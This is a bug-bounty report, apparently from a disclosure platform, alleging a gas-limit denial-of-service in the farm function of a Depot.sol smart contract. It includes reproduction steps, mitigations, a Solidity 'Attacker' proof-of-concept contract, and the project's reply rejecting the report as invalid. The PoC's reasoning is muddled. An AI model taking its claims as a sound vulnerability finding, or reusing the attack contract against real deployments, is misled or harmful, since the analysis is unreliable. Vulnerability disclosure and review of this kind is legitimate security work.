Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Block stuffing for profit
Unbounded gas consumption
Summary
The farm function in the Depot contract is vulnerable to gas limit issues and potential denial-of-service (DoS) attacks due to the use of delegatecall within a loop without proper gas management.
Contract
Depot.sol
Function
function farm(bytes[] calldata data)
external
payable
returns (bytes[] memory results)
{
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
LibFunction.checkReturn(success, result);
results[i] = result;
}
}
Steps to Reproduce
Deploy the Depot contract on a network with a known block gas limit.
Craft an array of data elements where each element is a call to a function that consumes a significant amount of gas.
Call the farm function with the crafted data array and provide just enough gas to exceed the block gas limit when combined.
Expected Result
The transaction should fail due to out-of-gas errors, or it should handle gas consumption gracefully.
Actual Result
The transaction consumes all provided gas and fails, potentially leading to a DoS condition if used maliciously.
Impact
An attacker can cause legitimate transactions to fail by deliberately crafting input that consumes excessive gas. This can lead to a DoS condition, preventing the farm function from being used as intended.
Mitigation
Gas Estimation Mechanism:
Implement a gas estimation mechanism to predict the gas cost of each delegatecall and ensure the loop does not exceed a safe gas threshold.
Gas Limit Parameter:
Introduce a gas limit parameter for each delegatecall to control the maximum gas each call can use.
Graceful Failure:
Allow the farm function to fail gracefully for individual delegatecalls that run out of gas, instead of reverting the entire transaction.
User Education:
Educate users on the potential gas costs associated with their transactions and encourage responsible usage.
Severity
High - The vulnerability can lead to failed transactions and potential DoS attacks, affecting the contract's usability and reliability.
Proof of concept
Attacker Code :
BIC Response
This is not a valid bug report because unexpected outcomes due to improper use of Pipeline/Depot do not qualify for bounties. Read more here: https://evmpipeline.org/pipeline.pdf#section.6
Due to these reasons, we are closing the submission and no reward will be issued.
// Attacker contract that interacts with the Depot contract
contract Attacker {
Depot public depotContract;
constructor(address _depotAddress) {
depotContract = Depot(_depotAddress);
}
function attack() public {
bytes[] memory maliciousData = new bytes[](10);
for (uint i = 0; i < maliciousData.length; i++) {
// Encode the call to a non-existent function with large inputs to consume gas
maliciousData[i] = abi.encodeWithSignature("nonExistentFunction(uint256[10])", [uint256(1),2,3,4,5,6,7,8,9,10]);
}
// The attacker calls the `farm` function with the malicious data
// Note: The attacker would need to send enough ETH to cover the gas costs
(bool success, ) = address(depotContract).call{value: address(this).balance}(abi.encodeWithSelector(depotContract.farm.selector, maliciousData));
require(success, "Attack failed");
}
// Fallback function to receive ETH
receive() external payable {}
}